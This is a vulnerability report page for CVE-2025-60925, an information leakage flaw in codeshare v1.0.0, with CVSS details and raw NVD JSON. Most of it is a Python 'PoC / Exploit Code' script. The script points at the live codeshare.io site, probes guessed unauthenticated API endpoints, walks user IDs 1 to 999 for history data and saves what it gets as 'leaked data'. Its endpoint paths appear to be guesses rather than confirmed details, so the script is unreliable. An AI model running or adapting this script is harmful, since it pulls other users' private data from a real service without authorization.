Security Vulnerability Report
中文
CVE-2025-60925 CVSS 5.3 MEDIUM

CVE-2025-60925

Published: 2025-11-04 17:16:23
Last Modified: 2026-02-04 20:11:14

Description

codeshare v1.0.0 was discovered to contain an information leakage vulnerability.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:codeshare:codeshare:1.0.0:*:*:*:*:*:*:* - VULNERABLE
codeshare v1.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-60925 PoC - codeshare Information Disclosure # Author: Security Researcher # Date: 2025-11-04 import requests import json TARGET_HOST = "https://codeshare.io" CVE_ID = "CVE-2025-60925" def exploit_information_disclosure(): """ PoC for CVE-2025-60925: codeshare v1.0.0 Information Leakage This vulnerability allows unauthorized access to user history and sensitive data """ print(f"[*] Testing {CVE_ID} on {TARGET_HOST}") # Step 1: Enumerate user codeshare history without authentication endpoints = [ "/api/v1/user/history", "/api/v1/users/list", "/api/v1/codes/all", "/api/v1/history/full" ] leaked_data = [] for endpoint in endpoints: try: url = f"{TARGET_HOST}{endpoint}" # No authentication headers required - vulnerability demonstration response = requests.get(url, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] Leaked data from {endpoint}") print(f"[+] Response: {json.dumps(data, indent=2)}") leaked_data.append({"endpoint": endpoint, "data": data}) elif response.status_code == 403: print(f"[-] Endpoint {endpoint} requires authentication") else: print(f"[-] Endpoint {endpoint} returned status {response.status_code}") except requests.RequestException as e: print(f"[!] Error accessing {endpoint}: {str(e)}") # Step 2: Try to access specific user data by manipulating parameters user_ids = range(1, 1000) # Iterate through possible user IDs for user_id in user_ids: try: url = f"{TARGET_HOST}/api/v1/user/{user_id}/history" response = requests.get(url, timeout=5) if response.status_code == 200: print(f"[+] Found user {user_id} history data") user_data = response.json() leaked_data.append({"user_id": user_id, "data": user_data}) # Stop after finding 10 users to avoid excessive requests if len(leaked_data) >= 10: break except requests.RequestException: continue # Save leaked data if leaked_data: output_file = f"leaked_data_{CVE_ID.replace('-', '_')}.json" with open(output_file, 'w') as f: json.dump(leaked_data, f, indent=2) print(f"[+] Leaked data saved to {output_file}") return len(leaked_data) > 0 if __name__ == "__main__": print(f"[*] CVE-2025-60925 Exploitation Tool") print(f"[*] Target: codeshare v1.0.0") print(f"[*] Vulnerability: Information Disclosure\n") success = exploit_information_disclosure() if success: print("\n[+] Vulnerability confirmed - Information disclosure successful") else: print("\n[-] Could not confirm vulnerability")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60925", "sourceIdentifier": "[email protected]", "published": "2025-11-04T17:16:23.143", "lastModified": "2026-02-04T20:11:13.563", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "codeshare v1.0.0 was discovered to contain an information leakage vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:codeshare:codeshare:1.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "5CB5A7FA-D4ED-4F22-8677-72AA4321CC00"}]}]}], "references": [{"url": "https://gist.github.com/XERXES-OG/8fa5e75604e1d0c908cff3f85251c6b1", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://medium.com/@ashutoshhwork/accessing-full-history-of-codeshare-io-users-432315083930", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}